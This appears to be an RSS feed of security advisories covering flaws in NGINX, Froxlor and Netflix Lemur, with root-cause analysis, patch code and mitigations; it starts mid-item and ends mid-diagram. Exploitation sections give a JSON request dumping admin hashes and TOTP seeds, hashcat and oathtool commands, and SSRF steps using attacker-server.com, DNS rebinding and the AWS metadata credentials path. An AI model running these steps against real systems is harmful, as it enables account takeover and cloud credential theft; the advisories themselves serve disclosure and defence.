If immediate patching is unfeasible, a robust configuration workaround exists. The vulnerability relies specifically on the overwrite of numbered capture variables ($1 through $9). Administrators can mitigate the threat by rewriting regular expression map directives to use named capture groups (e.g., `(?&lt;val&gt;...)` instead of `(...)`). Named capture variables are evaluated via distinct structures that do not rely on or modify the global `r-&gt;captures` state.

```nginx
# Vulnerable Pattern
map $http_input $target {
    &quot;~^(.+)$&quot; $1;
}

# Secure Mitigated Pattern
map $http_input $target {
    &quot;~^(?&lt;secure_val&gt;.+)$&quot; $secure_val;
}
```

Additionally, security teams should implement monitoring for NGINX worker crashes. Repeated crashes resulting in worker processes exiting on signal 6 (SIGABRT) or signal 11 (SIGSEGV) can indicate failed exploitation attempts or heap corruption diagnostics.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-55593: Persistent Administrative Hijacking via Cross-Site Request Forgery in Froxlor Ajax Router]]></title>
            <description><![CDATA[An architectural flaw in Froxlor's standalone AJAX handler allows remote attackers to perform Cross-Site Request Forgery (CSRF) attacks to silently alter administrative API key parameters and gain persistent, unauthorized server access.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-55593</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-55593</guid>
            <category><![CDATA[Froxlor Server Administration Panel]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:48:30 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-55593/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Froxlor is an open-source server administration control panel designed to streamline the management of domain names, web hosting configurations, email setups, and system resources. Because of its administrative role, the panel possesses broad privileges over the underlying host system, making its security profile a critical element of the hosting infrastructure. Prior to the release of version 2.3.8, the system&apos;s architecture contained a design discrepancy that exposed sensitive administrative functions to unauthorized modification.

Specifically, the application&apos;s standalone AJAX handler, located at `lib/ajax.php`, operated independently of the main bootstrap sequence. While standard administrative actions routed through the global initialization file benefited from extensive validation controls, the asynchronous endpoint operated with minimal oversight. This isolation created a significant security gap, as it allowed state-changing requests to bypass centralized anti-CSRF protections completely.

The specific bug class identified is Cross-Site Request Forgery (CSRF), registered under CWE-352. The vulnerability allowed an unauthenticated attacker to manipulate active administrative sessions to perform critical modifications to the API key configuration. By exploiting this flaw, attackers could alter access controls and key validity periods, establishing persistent, out-of-band access to the control panel&apos;s management capabilities.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-55593 resides in an architectural inconsistency between Froxlor&apos;s main request pipeline and its asynchronous callback handling system. Standard user interactions and API calls in Froxlor are routed through `lib/init.php`, which serves as a centralized controller. This initialization script is responsible for establishing sessions, verifying authentication states, and strictly enforcing cryptographic token checks on all incoming state-changing HTTP requests.

In contrast, the asynchronous communication architecture utilized a separate standalone script, `lib/ajax.php`, to minimize processing overhead and bypass full page rendering routines. However, this optimization bypassed `lib/init.php` entirely, thereby stripping the AJAX routing mechanism of the global security controls. Instead, `lib/ajax.php` initialized a standalone `Ajax` handler class, defined in `lib/Froxlor/Ajax/Ajax.php`, which lacked equivalent validation routines.

Before the implementation of the patch in version 2.3.8, the `handle()` function within the `Ajax` controller restricted its security checks to verifying whether a valid session cookie existed. It completely omitted checks for origin verification or cryptographic nonces. Once `getValidatedSession()` confirmed that a cookie was present and associated with an active user, the application proceeded to route and execute any requested sub-action, including administrative database modifications.

```mermaid
graph LR
  A[&quot;Attacker Website&quot;] --&gt;|&quot;Forged POST Request&quot;| B[&quot;User Browser&quot;]
  B --&gt;|&quot;Appended Active Session Cookie&quot;| C[&quot;lib/ajax.php&quot;]
  C --&gt;|&quot;Bypasses lib/init.php (No CSRF Check)&quot;| D[&quot;Ajax::handle()&quot;]
  D --&gt;|&quot;Executes Action&quot;| E[&quot;Ajax::editApiKey()&quot;]
  E --&gt;|&quot;Updates Database&quot;| F[&quot;Compromised API Key&quot;]
```

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

A detailed examination of the source code changes in commit `5f540fe361e7e13e8c5a32805b793a25e9e26a0e` reveals the precise mechanisms used to introduce the fix. In the vulnerable version, the `handle()` method within `lib/Froxlor/Ajax/Ajax.php` did not contain any checks for CSRF tokens prior to processing state-changing actions. The patch remediates this by introducing an explicit token validation step for all state-changing HTTP request methods.

```php
// lib/Froxlor/Ajax/Ajax.php - Patched Code Section
public function handle()
{
    $this-&gt;userinfo = $this-&gt;getValidatedSession();

    // Check if the incoming request is state-changing
    if (in_array($_SERVER[&apos;REQUEST_METHOD&apos;], [&apos;POST&apos;, &apos;PUT&apos;, &apos;PATCH&apos;, &apos;DELETE&apos;])) {
        // Source token from POST payload or custom HTTP header
        $current_token = Request::post(&apos;csrf_token&apos;, $_SERVER[&apos;HTTP_X_CSRF_TOKEN&apos;] ?? null);
        
        // Loose comparison check against the session token stored in the database
        if ($current_token != CurrentUser::getField(&apos;csrf_token&apos;)) {
            http_response_code(403);
            return $this-&gt;errorResponse(&apos;CSRF validation failed&apos;);
        }
    }
    // ... Routing logic continues ...
}
```

To support this check, the session validation routine in `getValidatedSession()` was updated to ensure that every active user session has an associated cryptographic token. If no token is detected, a new 20-character identifier is generated and saved to the session. This token is then injected into the Twig templating system so that frontend scripts can access it.

```php
// lib/Froxlor/Ajax/Ajax.php - getValidatedSession() Patch
private function getValidatedSession(): array
{
    if (CurrentUser::hasSession() == false) {
        throw new Exception(&quot;No valid session&quot;);
    }
    // Generate new CSRF token if one does not exist
    if (!$csrf_token = CurrentUser::getField(&apos;csrf_token&apos;)) {
        $csrf_token = Froxlor::genSessionId(20);
        CurrentUser::setField(&apos;csrf_token&apos;, $csrf_token);
    }
    // Provide CSRF token globally to Twig templates
    UI::initTwig();
    $linker = new Linker(&apos;index.php&apos;);
    UI::setLinker($linker);
    UI::twig()-&gt;addGlobal(&apos;csrf_token&apos;, $csrf_token);
    return CurrentUser::getData();
}
```

Finally, the frontend JavaScript handler `templates/Froxlor/assets/js/jquery/apikeys.js` was modified to supply the CSRF token. The script intercepts outgoing asynchronous requests and inserts the token into the `X-CSRF-TOKEN` custom header, matching the backend&apos;s validation criteria.

```javascript
// templates/Froxlor/assets/js/jquery/apikeys.js - Patched AJAX Call
$.ajax({
    url: &quot;lib/ajax.php?action=editapikey&quot;,
    type: &quot;POST&quot;,
    dataType: &quot;json&quot;,
    beforeSend: function (request) {
        // Retrieve CSRF token from DOM meta-tag and set custom header
        request.setRequestHeader(&apos;X-CSRF-TOKEN&apos;, document.querySelector(&quot;meta[name=&apos;csrf-token&apos;]&quot;).getAttribute(&quot;content&quot;));
    },
    data: {
        id: akid,
        allowed_from: _this.val(),
        // ...
    }
});
```

Despite the efficacy of this patch, two notable technical observations persist. First, the use of a loose comparison operator (`!=`) in PHP instead of a strict type-safe check (`!==`) or a constant-time comparison library function (`hash_equals`) introduces hypothetical edge-case risks. Second, security teams must verify that all state-changing actions within the AJAX endpoint are strictly restricted to modifying HTTP verbs, as a `GET` request would completely bypass this validation block.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Scenario

Exploitation of CVE-2026-55593 relies on a traditional Cross-Site Request Forgery vector targeting an authenticated administrator. Because the application did not validate origin or check for unique, session-linked tokens, an attacker could build a malicious payload designed to interact with the vulnerable endpoint on behalf of the victim. The attack requires the victim administrator to have an active session on the targeted Froxlor panel.

The attack scenario begins when the authenticated administrator is induced to visit a web page controlled by the attacker. This page contains an embedded script or hidden form designed to execute a cross-site POST request targeting the victim&apos;s Froxlor domain. When the request is dispatched to `/lib/ajax.php?action=editapikey`, the administrator&apos;s browser automatically appends the active session cookie associated with the target domain.

Because the endpoint only verifies the validity of the cookie, the request executes successfully in the context of the administrator&apos;s session. The payload is crafted to overwrite the `allowed_from` and `valid_until` parameters of a specific API key. By setting `allowed_from` to the attacker&apos;s IP or a wildcard value and removing the key&apos;s expiration date, the attacker gains permanent, direct programmatic access to the Froxlor API, completely bypassing the web interface.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The impact of this vulnerability is classified as High from an integrity perspective, resulting in a CVSS 3.1 base score of 6.5. Because the vulnerability allows an attacker to manipulate administrative API keys, the potential consequences extend far beyond a standard configuration bypass. API keys in Froxlor possess extensive permissions, allowing programmatic control over DNS zones, mail servers, user accounts, and system services.

Once an attacker successfully updates the whitelisted IP list (`allowed_from`) of an administrative API key to their own external address, they can interact directly with the Froxlor API. This interface allows them to create new administrative accounts, alter configuration files, and execute operations that can compromise the underlying Linux operating system. Additionally, removing expiration dates ensures that this access remains persistent even if the administrator logs out of the web interface.

Although the attack is write-only and does not directly leak data in the initial HTTP response, the resulting API access permits full read-and-write capabilities. Consequently, confidentiality and availability are ultimately compromised. The vulnerability bypasses the security boundaries of the server administration panel, transforming a single client-side interaction into a complete server-level compromise.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation and Mitigation

The primary and most effective remediation strategy is upgrading the Froxlor installation to version 2.3.8 or later. This release introduces the required token verification logic within `lib/Froxlor/Ajax/Ajax.php` and updates the frontend AJAX requests to send the necessary headers. Administrators should monitor package repositories and implement standard automated update procedures to ensure the patch is applied.

If an immediate software upgrade is not feasible, several defensive controls can be implemented to mitigate the risk. Setting the `SameSite` attribute of session cookies to `Lax` or `Strict` provides robust protection against cross-site request forgery attacks. This configuration forces modern browsers to omit session cookies when executing requests initiated by third-party origins, preventing the automated session propagation required for CSRF.

Additionally, administrators should implement strict network segmentations and monitoring policies. Restricting access to the Froxlor administrative panel to trusted internal networks or VPN tunnels significantly reduces the probability of a successful attack. Furthermore, security logs should be continuously reviewed for unexpected requests to `/lib/ajax.php` originating from unrecognized referrers or containing unauthorized state modifications.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-62988: Multi-Factor Authentication and Credential Bypass in Froxlor API]]></title>
            <description><![CDATA[Froxlor API endpoints leak raw bcrypt password hashes and raw TOTP seeds to authenticated users, enabling complete multi-factor authentication bypass and administrative takeover.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-62988</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-62988</guid>
            <category><![CDATA[Froxlor Server Administration Panel]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:48:35 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-62988/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

CVE-2026-62988 is a critical information disclosure and authentication bypass vulnerability affecting Froxlor, an open-source server administration platform. The bug is located in the application&apos;s API layer, specifically within the command handlers responsible for managing administrators, customers, and FTP accounts. Affected versions include release 2.3.7 up to, but not including, version 2.3.8.

The attack surface is exposed through the authenticated JSON-RPC and REST API endpoints. Although an attacker must have valid API credentials to call the affected functions, the permissions required do not need to be administrative to access some of the vulnerable customer or FTP paths. This allows horizontal or vertical privilege escalation depending on the user&apos;s initial access level.

When queried, the API retrieves complete record definitions from the backend database. This data includes password hashes and multi-factor authentication secrets. Because the API layer originally serialized these records without removing security-critical fields, it returned them in cleartext and raw crypt formats to the calling client.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The underlying vulnerability is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). It stems from insecure over-fetching practices inside the database abstraction layer coupled with a lack of output filtering in the command controllers. The affected files are `lib/Froxlor/Api/Commands/Customers.php`, `lib/Froxlor/Api/Commands/Admins.php`, and `lib/Froxlor/Api/Commands/Ftps.php`.

In the vulnerable implementation, when a client calls the `get` or `listing` commands, the backend executes standard database queries using PHP Data Objects (PDO). The return value of these queries is a complete associative array representing the database rows. Crucially, fields containing sensitive secrets—specifically the `password` column (which stores bcrypt hashes) and the `data_2fa` column (which contains the Base32-encoded seed for Time-Based One-Time Passwords)—were fetched and retained within this array.

The controller immediately passed this unfiltered associative array into the `$this-&gt;response()` serialization function. This resulted in the direct exposure of both credentials within the API JSON payload. An authenticated user possessing permission to view their own account or other customer accounts could thereby extract the secret keys of targeted profiles.

{/* icon: code */}
{/* type: deep-dive */}
## Code Path &amp; Two-Stage Patch Analysis

The remediation of this vulnerability required two successive patches due to an initial logical flaw and a variable typo.

In the first patch (`52a43fb826bb9a058faf9c39feeef7ac4444ceba`), the developer attempted to employ a block-list sanitization strategy. The code iterated through the SQL query results and used the PHP `unset()` function to strip `password` and `data_2fa` keys before returning the array to the client.

```php
// In lib/Froxlor/Api/Commands/Admins.php (Commit 1)
while ($row = $result_stmt-&gt;fetch(PDO::FETCH_ASSOC)) {
    unset($row[&apos;password&apos;]);
    unset($row[&apos;data_2fa&apos;]);
    $result[] = $row;
}
```

However, this first patch introduced a critical logical typo inside `lib/Froxlor/Api/Commands/Ftps.php`:

```php
// In lib/Froxlor/Api/Commands/Ftps.php (Commit 1 - FLOPPED)
$result = Database::pexecute_first($result_stmt, $params, true, true);
if ($result) {
    unset($row[&apos;password&apos;]); // BUG: $row does not exist in this block; should be $result
    return $this-&gt;response($result);
}
```

Because `$row` was undefined in the `Ftps.php::get()` method, the `unset()` operation silently failed, and the full `$result` array containing the password field was sent back to the API client.

Furthermore, this global block-list approach broke internal backend processes. When other parts of the panel executed internal API calls (such as calling `Admins.get` during an `update()` workflow to check privileges), the sanitized array lacked the passwords and 2FA secrets required for internal validation.

To resolve both the typo and the internal breakage, the second patch (`8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797`) introduced an internal execution flag checking routine (`$this-&gt;isInternal()`). When internal components invoke API functions, the flag is set to `true`, and the secrets remain available in the memory array. For external clients, `$this-&gt;isInternal()` evaluates to `false`, and the fields are stripped correctly.

```php
// In lib/Froxlor/Api/Commands/Admins.php (Commit 2)
if (!$this-&gt;isInternal()) {
    unset($result[&apos;password&apos;]);
    unset($result[&apos;data_2fa&apos;]);
}
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploiting this vulnerability requires network access to the Froxlor API endpoint and valid credentials or an active session token. An attacker sends a crafted API request to retrieve details about an administrator or user account. No user interaction or elaborate chaining is required to execute this step.

```json
{
    &quot;header&quot;: {
        &quot;apikey&quot;: &quot;attacker_api_key&quot;,
        &quot;secret&quot;: &quot;attacker_api_secret&quot;
    },
    &quot;body&quot;: {
        &quot;command&quot;: &quot;Admins.get&quot;,
        &quot;params&quot;: {
            &quot;id&quot;: 1
        }
    }
}
```

Upon receiving the API response, the attacker parses the JSON string to extract the `password` and `data_2fa` fields. The `password` field contains a standard blowfish/bcrypt password hash. The attacker then conducts offline dictionary or brute-force attacks against the hash using specialized utilities like Hashcat.

```bash
hashcat -m 3200 -a 0 froxlor_hash.txt wordlist.txt
```

Simultaneously, the attacker decodes the `data_2fa` string, which is the plaintext Base32-encoded TOTP seed. Using a utility such as `oathtool`, the attacker can instantly generate valid security codes in real-time.

```bash
oathtool --totp -b &quot;JBSWY3DPEHPK3PXP&quot;
```

Combining the cracked password with the synchronously generated TOTP code, the attacker logs in through the primary admin panel interface, completely bypassing multi-factor authentication barriers.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The impact of CVE-2026-62988 is severe, warranting a CVSS score of 9.0 (Critical). Because Froxlor is a server administration panel, compromising an administrative account yields full control over the underlying operating system. This allows the attacker to execute shell commands, alter database contents, modify web root files, and manage system services.

By obtaining both the password hash and the active TOTP seed, the attacker invalidates the entire multi-factor authentication model. There is no fallback security layer to prevent the login, as both elements of the &apos;something you know&apos; and &apos;something you have&apos; paradigms are exposed concurrently.

Additionally, the leakage of FTP passwords allows attackers to log in directly to file hosting environments via standard FTP clients, circumventing the web application interface entirely. This facilitates easy upload of web shells, ransomware, or arbitrary PHP injection vectors into all hosted websites.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation

The primary and recommended resolution is to upgrade the Froxlor installation to version 2.3.8 or higher. The release package contains both the API sanitization routines and the necessary logical checks to preserve internal backend functionality.

For deployments where immediate upgrading is not feasible, administrators should manually apply the second patch&apos;s code changes. It is critical to ensure that both `password` and `data_2fa` fields are unset when `$this-&gt;isInternal()` evaluates to `false`. Ensure that the FTP controller unsets `$result[&apos;password&apos;]` instead of `$row[&apos;password&apos;]` to prevent the typo bypass.

Additionally, after upgrading or applying the patch, administrators should enforce a panel-wide password reset and regenerate all TOTP secrets. Because the database fields were previously exposed, any administrator or customer record queried before the patch was applied should be treated as compromised. Defensive teams should inspect API query logs for anomalous invocations of `Admins.get`, `Admins.listing`, `Customers.get`, and `Customers.listing` to identify historical exploitation attempts.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-70666: Server-Side Request Forgery in Netflix Lemur ACME Authority Management]]></title>
            <description><![CDATA[An SSRF vulnerability in Netflix Lemur allows lower-privileged users with authority roles to update authority settings to point to a rogue ACME server. The Lemur ACME client then trusts server-supplied dynamic URLs, enabling attackers to query private internal endpoints and retrieve cloud instance credentials.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-70666</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-70666</guid>
            <category><![CDATA[Netflix Lemur]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:07 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-70666/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur functions as an orchestration framework designed to manage and automate TLS certificates across complex enterprise environments. Its ACME integration plugin (`lemur_acme`) handles communication with Automated Certificate Management Environment providers like Let&apos;s Encrypt to validate ownership and issue certificates.

The attack surface exists in how Lemur handles internal authority administrative actions and parses ACME directory parameters. A vulnerability in both the validation logic and the networking client allows an authenticated authority-role user to hijack outbound requests. This creates an exploitation path targeting internal networks, microservices, and metadata endpoints.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The vulnerability consists of two distinct software defects that work in tandem. The first defect involves an authentication-by-role privilege escalation within the authority update paths. During authority creation, Lemur enforces the `ACME_DIRECTORY_HOST_ALLOWLIST` filter. However, the update endpoints `PUT /api/1/authorities/{id}` and `PUT /api/1/authorities/{id}/options` failed to re-validate modified configurations, permitting arbitrary ACME directory URL changes.

The second defect is an unvalidated endpoint trust issue. RFC 8555 specifies that an ACME client must first fetch a directory resource to obtain active endpoint links (e.g., `newOrder`, `newNonce`). The standard Python `acme` dependency class `ClientNetwork` retrieves and connects to these links automatically. Because Lemur did not verify that these dynamically returned hostnames matched the original trusted ACME directory domain, a malicious directory server could redirect outbound Lemur API calls to internal system targets.

```mermaid
graph LR
  Attacker[&quot;Attacker (Authority Role)&quot;] --&gt;|1. PUT /api/1/authorities/id| LemurDB[(&quot;Lemur Database (Bypasses Allowlist)&quot;)]
  LemurDB --&gt;|2. Triggers Issuance| LemurClient[&quot;Lemur ACME Client&quot;]
  LemurClient --&gt;|3. GET /directory| MaliciousACME[&quot;Malicious ACME Server&quot;]
  MaliciousACME --&gt;|4. Dynamic JSON Response containing internal URLs| LemurClient
  LemurClient --&gt;|5. Blindly Sends JWS POST Request| InternalTarget[&quot;AWS Metadata (169.254.169.254) / Internal Services&quot;]
```

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

To address the bypass, the patch implements strict hostname validation within the update pathways inside `lemur/authorities/service.py` and creates a custom client class to restrict HTTP network traffic.

The updated validation routine extracts and verifies the hostname of any updated ACME URL:

```python
# lemur/authorities/service.py
def _validate_acme_url(url: str) -&gt; None:
    allowed_hosts = current_app.config.get(
        &apos;ACME_DIRECTORY_HOST_ALLOWLIST&apos;,
        {
            &apos;acme-v02.api.letsencrypt.org&apos;,
            &apos;acme-staging-v02.api.letsencrypt.org&apos;,
            &apos;dv.acme-v02.api.pki.goog&apos;,
        },
    )
    parsed = urlparse(url)
    if parsed.scheme != &apos;https&apos; or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(
            f&apos;acme_url host not in ACME_DIRECTORY_HOST_ALLOWLIST: {parsed.hostname}&apos;
        )
```

Additionally, the patch replaces the default networking component with a pinned-hostname implementation to prevent redirect attacks:

```python
# lemur/plugins/lemur_acme/acme_handlers.py
class _PinnedClientNetwork(ClientNetwork):
    def __init__(self, *args, pinned_hostname: str, **kwargs):
        super().__init__(*args, **kwargs)
        self._pinned_hostname = pinned_hostname

    def _send_request(self, method: str, url: str, *args, **kwargs) -&gt; requests.Response:
        parsed = urlparse(url)
        # Enforce hostname equality for all dynamic requests
        if parsed.hostname != self._pinned_hostname:
            raise InvalidConfiguration(
                f&apos;ACME client attempted request to disallowed host {parsed.hostname!r}; &apos; 
                f&apos;expected {self._pinned_hostname!r}&apos;
            )
        return super()._send_request(method, url, *args, **kwargs)
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation &amp; Methodology

Exploiting this flaw requires the attacker to possess credentials with sufficient authorization to modify a Lemur authority configuration. The attacker hosts a malicious server configured to return an ACME-compatible JSON payload that substitutes internal network resources for normal ACME protocol endpoints.

Once the rogue server is online, the attacker targets the authority update endpoint using a JSON payload containing the rogue `acme_url`. Because the validation routines are missing from the update path, the backend database stores the modified configuration directly without error.

When a certificate generation process is subsequently initialized, Lemur queries the rogue ACME server directory. The rogue server sends a response that maps standard paths like `newOrder` to internal targets such as `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The Lemur client processes this response and immediately transmits JWS-signed requests to the internal cloud metadata service, exposing IAM credentials to the attacker through system responses or error outputs.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of CVE-2026-70666 is significant due to the critical infrastructure role Lemur serves. By pivoting through the trusted Lemur server, an attacker bypasses perimeter defenses, firewalls, and network access control lists. This provides direct network access to otherwise isolated management plane APIs and local container network environments.

In environments deployed on Amazon Web Services (AWS), Google Cloud Platform (GCP), or Microsoft Azure, accessing the instance metadata service allows the attacker to extract short-term cloud provider credentials. If the instance runs with overly permissive IAM roles, the attacker can leverage these credentials to escalate privileges across the cloud account.

Furthermore, because the SSRF payload transmits JWS-signed JSON POST requests, it can be used to interact with raw key-value stores, database endpoints, or orchestration systems (such as Kubernetes Kubelet APIs) that accept unauthenticated or poorly authenticated JSON inputs over local interfaces.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation &amp; Detection

Remediation requires upgrading Netflix Lemur instances to version 1.9.3 or higher. The update fixes the flaw by validating configurations during updates and restricting the network client to the pinned hostname of the ACME directory.

Until a patch is applied, administrators should deploy egress firewall filters on Lemur hosts. These filters must restrict outgoing HTTP/HTTPS traffic exclusively to recognized, public ACME endpoints. Additionally, cloud metadata service protections should be enforced by configuring IMDSv2 with a strict hop limit of 1.

Administrators can identify historical exploitation attempts by querying their databases for unauthorized values in the authority option configurations. The following query helps identify non-standard ACME URLs stored in the authority table:

```sql
SELECT id, name, options FROM authority WHERE options LIKE &apos;%acme_url%&apos;;
```</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-70667: Server-Side Request Forgery Bypass in Netflix Lemur Certificate Verification]]></title>
            <description><![CDATA[A flaw in Netflix Lemur prior to v1.9.3 allows authenticated operators to bypass Server-Side Request Forgery (SSRF) protections. This is accomplished using DNS rebinding and HTTP redirects during certificate revocation checking (CRL/OCSP), exposing private VPC infrastructure and AWS instance metadata (IMDS).]]></description>
            <link>https://cvereports.com/reports/CVE-2026-70667</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-70667</guid>
            <category><![CDATA[Netflix Lemur]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:12 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-70667/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur orchestrates TLS certificate creation, tracking, and validation within enterprise and cloud environments. Prior to version 1.9.3, the validation component tasked with verifying Certificate Revocation List (CRL) distribution points and Online Certificate Status Protocol (OCSP) endpoints, implemented in `lemur/certificates/verify.py`, contained fundamental architectural weaknesses.

These weaknesses permitted authenticated operators with certificate-upload privileges to upload custom certificates embedded with malicious, attacker-controlled revocation endpoints. This capability exposed an active internal attack surface, allowing attackers to query resources inside private network spaces (RFC1918) or loopback boundaries.

The vulnerability is classified under CWE-918 (Server-Side Request Forgery) and CWE-367 (Time-of-Check Time-of-Use Race Condition). By abusing these flaws, attackers can establish blind outbound connections to local ports, container management endpoints, or cloud provider metadata endpoints (e.g., AWS IMDS), bypassing previous mitigations established for CVE-2026-55162.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The primary flaw resides in the execution sequence of the URL validation mechanism (`_validate_revocation_url`) relative to the actual network connections initiated by Lemur.

First, during Certificate Revocation List (CRL) retrieval, the system executed the standard Python `requests.get(url)` function on the extracted CRL URL. Because the default configuration of the `requests` library follows HTTP redirects (such as `301`, `302`, `303`, `307`, and `308` responses) automatically, an attacker-controlled external domain could pass the initial IP validation phase and then redirect the client connection to an internal address like `169.254.169.254` or `127.0.0.1`.

Second, the validation workflow was vulnerable to a DNS Rebinding Time-of-Check Time-of-Use (TOCTOU) race condition. The validation logic initially resolved the target domain to verify that the target IP was not within a restricted, loopback, or link-local subnet range. However, immediately after passing this check, the application initiated a separate, independent network request via `requests.get` (for CRLs) or via the external `openssl ocsp` utility (for OCSP verification). This second request triggered a second DNS lookup.

By configuring an authoritative DNS server with a Time-to-Live (TTL) of 0 seconds, an attacker could program the server to return a safe, public IP during the validation phase (Time-of-Check) and then return a private, internal IP during the connection phase (Time-of-Use). This completely bypassed the host validation filter.

{/* icon: code */}
{/* type: deep-dive */}
## Vulnerable vs. Patched Code Path Analysis

An analysis of the fix in commit `ed504a830f38a83825b1570302e9f38d6553938a` shows how the developer closed both bypass vectors by modifying `lemur/certificates/verify.py`.

In the patched version, `_validate_revocation_url` is updated to return the resolved IP address (`str(addr)`) after performing safety checks. This allows the calling functions to &apos;pin&apos; the hostname to a specific, validated IP address.

To prevent DNS rebinding, the helper function `_pin_url_to_ip(url, resolved_ip)` replaces the hostname in the HTTP URL with the validated IP address. Because this replacement breaks HTTPS Server Name Indication (SNI) and TLS host verification, it is strictly restricted to `http` schemes. To ensure the remote server can route virtual hosts correctly, the original host header is preserved and explicitly passed as an HTTP header.

```python
# Patched implementation in lemur/certificates/verify.py
def _pin_url_to_ip(url, resolved_ip):
    parsed = urlparse(url)
    if parsed.scheme != &quot;http&quot;:
        return url
    port = parsed.port
    netloc = f&quot;{resolved_ip}:{port}&quot; if port else resolved_ip
    return parsed._replace(netloc=netloc).geturl()
```

Additionally, the HTTP redirect vector is mitigated in `crl_verify` by explicitly setting `allow_redirects=False` in the `requests.get` call:

```python
# Patched request invocation in crl_verify
response = requests.get(
    pinned_url,
    timeout=(3.05, 6),
    allow_redirects=False,
    headers={&quot;Host&quot;: _host_header(point)},
)
```

This modification prevents the client from following `Location` headers, neutralising the redirect bypass. However, the limitation of this patch is that HTTPS endpoints are not pinned to prevent rebinding, meaning a theoretical risk remains if an attacker can manipulate TLS bindings on internal endpoints.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology and Attack Vectors

An attacker seeking to exploit CVE-2026-70667 must possess certificate upload privileges on the target Lemur instance. The exploitation can proceed via two primary vectors depending on the targeted revocation path.

### Scenario A: HTTP Redirect Bypass (CRL Path)
1. The attacker sets up an external web server that responds to incoming requests with a `302 Found` redirect pointing to `http://169.254.169.254/latest/meta-data/`.
2. The attacker generates an X.509 certificate containing a CRL Distribution Point extension pointing to the external server: `URI: http://attacker-server.com/crl.crl`.
3. The attacker uploads this certificate via the `POST /api/1/certificates/upload` endpoint.
4. Lemur parses the certificate, validates that `attacker-server.com` resolves to a public IP, and then makes a request to it. The server follows the redirect directly to the AWS IMDS endpoint, returning metadata to the log files or application responses.

### Scenario B: DNS Rebinding Bypass (OCSP/CRL Path)
1. The attacker configures a malicious DNS server for the domain `rebind.attacker.com` with a TTL of 0.
2. The DNS server is programmed to resolve the first query to `1.1.1.1` (public) and the second query to `127.0.0.1` (internal loopback).
3. The attacker uploads a certificate with an Authority Information Access (AIA) extension containing the OCSP URI: `http://rebind.attacker.com/ocsp`.
4. Lemur&apos;s validation logic queries DNS, receives `1.1.1.1`, and validates the URL. Then, the execution tool (`openssl ocsp`) queries DNS a second time, receives `127.0.0.1`, and establishes a TCP handshake with the local interface on the Lemur host.

```mermaid
graph LR
  A[&quot;Attacker (Cert Upload)&quot;] --&gt;|&quot;POST /api/1/certificates/upload&quot;| B[&quot;Lemur Server&quot;]
  B --&gt;|&quot;DNS Query 1 (Time-of-Check)&quot;| C[&quot;Malicious DNS Server&quot;]
  C --&gt;|&quot;Returns Public IP (1.1.1.1)&quot;| B
  B --&gt;|&quot;DNS Query 2 (Time-of-Use)&quot;| C
  C --&gt;|&quot;Returns Private IP (127.0.0.1)&quot;| B
